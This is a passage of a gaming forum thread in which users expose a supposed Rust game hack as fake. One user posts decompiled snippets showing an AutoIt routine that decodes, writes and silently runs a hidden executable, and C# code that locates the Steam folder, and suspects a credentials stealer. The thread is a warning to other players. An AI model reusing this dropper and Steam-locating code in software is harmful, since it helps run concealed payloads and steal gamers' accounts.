👍 NavEnvy's Rust Multi-Hack

Posts 16–19 of 19 · Page 2 of 2

ye its fake , mods pls close this thread.

Anyone else notice that this is fake..? Outdated rust and it says **************** for Ghost hacks

Wait 'till he adds an attachment. If he doesn't, that's too bad. Closed to prevent spam.
OP has 11 more hours.

Originally Posted by Horror

Wait 'till he adds an attachment. If he doesn't, that's too bad. Closed to prevent spam.
OP has 11 more hours.

https://www.virustotal.com/en/file/6...is/1408613957/ⓘ

Code:

$FILENME = "1239"
$FILE =  @TempDir & "\" & $FILENME & "\" & $FILENME & ".exe"
$FILEOPEND = FileOpen($FILE, 2 + 8)
$DECRYPT = _BASE64DECODE($CODE)
$EXE = BinaryToString($DECRYPT)
$WRITE = FileWrite($FILE, $EXE)
FileClose($FILEOPEND)
ShellExecute($FILE)
DirRemove  @TempDir & "\" & $FILENME, 1)

Code:

	RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam");
	string str = Conversions.ToString(registryKey.GetValue("SteamPath", "0"));

etc.
I smell a credentials stealer.